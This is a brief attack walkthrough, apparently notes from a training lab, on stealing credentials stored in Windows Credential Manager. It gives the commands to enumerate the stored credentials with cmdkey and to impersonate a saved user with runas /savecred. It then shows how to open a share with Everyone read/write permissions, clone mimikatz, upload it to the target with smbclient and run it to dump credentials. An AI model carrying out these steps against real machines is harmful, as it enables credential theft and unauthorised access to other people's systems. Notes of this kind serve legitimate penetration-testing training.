Attacking Windows Credential Manager

Enumerating credentials with cmdkey

cmdkey /list

In this case we see that theres a domain credential associated with user SRV01\mcharles. Interactive means that we can use it for interactive logon sessions.

Use runas to impersonate the stored user

runas /savecred /user:SRV01\mcharles cmd

Now we can go ahead and use something like mimikatz to extract credentials

Using SMB share to send Mimikatz.exe to target

Go to file directory to the users desktop directory and create a new folder, in this case called mimikatz

Click on Properties and click Share

Click Everyone from dropdown and give it Read/Write permissions

Now back in linux machine, create a new directory called mimikatz, clone the github repo, and use smbclient to connect and send it over to the windows target

mkdir mimikatz
cd mimikatz
git clone https://github.com/ParrotSec/mimikatz.git

smbclient //10.129.234.171/Users -U Administrator

recurse ON
prompt OFF
mput *

Use Mimikatz to extract credentials

Back in windows target, open cmd, navigate to shared drive and run mimikatz.exe in the x64 folder